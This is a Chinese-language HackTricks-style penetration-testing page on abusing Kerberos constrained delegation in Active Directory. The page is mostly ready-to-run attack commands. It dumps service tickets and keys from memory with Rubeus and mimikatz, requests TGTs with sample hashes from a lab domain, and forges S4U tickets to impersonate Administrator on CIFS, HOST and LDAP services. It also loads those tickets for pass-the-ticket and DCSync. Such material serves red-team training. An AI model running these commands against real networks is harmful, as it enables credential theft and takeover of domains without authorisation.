# Constrained Delegation

<details>

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## 有限委派

使用此功能，域管理员可以允许计算机针对另一台计算机的服务**模拟用户或计算机**。

* **用户自身服务（*****S4U2self*****）：** 如果**服务账户**的\_userAccountControl\_值包含[TRUSTED\_TO\_AUTH\_FOR\_DELEGATION](https://msdn.microsoft.com/en-us/library/aa772300\(v=vs.85\).aspx)（T2A4D），则它可以代表任何其他用户为自己（服务）获取TGS。
* **用户代理服务（*****S4U2proxy*****）：** **服务账户**可以代表任何用户为**msDS-AllowedToDelegateTo**中设置的服务获取TGS。为此，它首先需要从该用户获取TGS到自身，但可以使用S4U2self在请求另一个TGS之前获取该TGS。

**注意**：如果用户在AD中标记为“*帐户是敏感的，不能被委派*”，则您将**无法模拟**他们。

这意味着如果您**窃取了服务的哈希**，您可以**冒充用户**并代表他们访问配置的**服务**（可能**提权**）。

此外，您**不仅可以访问用户能够模拟的服务，还可以访问任何服务**，因为不会检查SPN（请求的服务名称），只会检查权限。因此，如果您可以访问**CIFS服务**，则可以使用Rubeus中的`/altservice`标志访问**HOST服务**。

此外，**在DC上访问LDAP服务**是利用**DCSync**所需的。

{% code title="枚举" %}

```bash
# Powerview
Get-DomainUser -TrustedToAuth | select userprincipalname, name, msds-allowedtodelegateto
Get-DomainComputer -TrustedToAuth | select userprincipalname, name, msds-allowedtodelegateto

#ADSearch
ADSearch.exe --search "(&(objectCategory=computer)(msds-allowedtodelegateto=*))" --attributes cn,dnshostname,samaccountname,msds-allowedtodelegateto --json
```

{% endcode %}

{% code title="获取TGT" %}

```bash
# The first step is to get a TGT of the service that can impersonate others
## If you are SYSTEM in the server, you might take it from memory
.\Rubeus.exe triage
.\Rubeus.exe dump /luid:0x3e4 /service:krbtgt /nowrap

# If you are SYSTEM, you might get the AES key or the RC4 hash from memory and request one
## Get AES/RC4 with mimikatz
mimikatz sekurlsa::ekeys

## Request with aes
tgt::ask /user:dcorp-adminsrv$ /domain:dollarcorp.moneycorp.local /aes256:babf31e0d787aac5c9cc0ef38c51bab5a2d2ece608181fb5f1d492ea55f61f05
.\Rubeus.exe asktgt /user:dcorp-adminsrv$ /aes256:babf31e0d787aac5c9cc0ef38c51bab5a2d2ece608181fb5f1d492ea55f61f05 /opsec /nowrap

# Request with RC4
tgt::ask /user:dcorp-adminsrv$ /domain:dollarcorp.moneycorp.local /rc4:8c6264140d5ae7d03f7f2a53088a291d
.\Rubeus.exe asktgt /user:dcorp-adminsrv$ /rc4:cc098f204c5887eaa8253e7c2749156f /outfile:TGT_websvc.kirbi
```

{% endcode %}

{% hint style="warning" %}
有其他方法可以获取TGT票据或RC4或AES256，而不必在计算机中成为SYSTEM，比如打印机漏洞、非约束委派、NTLM中继和Active Directory证书服务滥用。

只要拥有TGT票据（或散列），您就可以执行此攻击，而无需 compromis整个计算机。
{% endhint %}

{% code title="使用Rubeus" %}

```bash
#Obtain a TGS of the Administrator user to self
.\Rubeus.exe s4u /ticket:TGT_websvc.kirbi /impersonateuser:Administrator /outfile:TGS_administrator

#Obtain service TGS impersonating Administrator (CIFS)
.\Rubeus.exe s4u /ticket:TGT_websvc.kirbi /tgs:TGS_administrator_Administrator@DOLLARCORP.MONEYCORP.LOCAL_to_websvc@DOLLARCORP.MONEYCORP.LOCAL /msdsspn:"CIFS/dcorp-mssql.dollarcorp.moneycorp.local" /outfile:TGS_administrator_CIFS

#Impersonate Administrator on different service (HOST)
.\Rubeus.exe s4u /ticket:TGT_websvc.kirbi /tgs:TGS_administrator_Administrator@DOLLARCORP.MONEYCORP.LOCAL_to_websvc@DOLLARCORP.MONEYCORP.LOCAL /msdsspn:"CIFS/dcorp-mssql.dollarcorp.moneycorp.local" /altservice:HOST /outfile:TGS_administrator_HOST

# Get S4U TGS + Service impersonated ticket in 1 cmd (instead of 2)
.\Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:"CIFS/dcorp-mssql.dollarcorp.moneycorp.local" /user:dcorp-adminsrv$ /ticket:TGT_websvc.kirbi /nowrap

#Load ticket in memory
.\Rubeus.exe ptt /ticket:TGS_administrator_CIFS_HOST-dcorp-mssql.dollarcorp.moneycorp.local
```

{% endcode %}

{% code title="kekeo + Mimikatz" %}

```bash
#Obtain a TGT for the Constained allowed user
tgt::ask /user:dcorp-adminsrv$ /domain:dollarcorp.moneycorp.local /rc4:8c6264140d5ae7d03f7f2a53088a291d

#Get a TGS for the service you are allowed (in this case time) and for other one (in this case LDAP)
tgs::s4u /tgt:TGT_dcorpadminsrv$@DOLLARCORP.MONEYCORP.LOCAL_krbtgt~dollarcorp.moneycorp.local@DOLLAR CORP.MONEYCORP.LOCAL.kirbi /user:Administrator@dollarcorp.moneycorp.local /service:time/dcorp-dc.dollarcorp.moneycorp.LOCAL|ldap/dcorpdc.dollarcorp.moneycorp.LOCAL

#Load the TGS in memory
Invoke-Mimikatz -Command '"kerberos::ptt TGS_Administrator@dollarcorp.moneycorp.local@DOLLARCORP.MONEYCORP.LOCAL_ldap~ dcorp-dc.dollarcorp.moneycorp.LOCAL@DOLLARCORP.MONEYCORP.LOCAL_ALT.kirbi"'
```

{% endcode %}

[**在 ired.team 中获取更多信息。**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-kerberos-constrained-delegation)

<details>

<summary><strong>从零开始学习 AWS 黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS 红队专家）</strong></a><strong>！</strong></summary>

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* 如果您想看到您的 **公司在 HackTricks 中做广告** 或 **下载 HackTricks 的 PDF**，请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 探索 [**PEASS 家族**](https://opensea.io/collection/the-peass-family)，我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。

</details>


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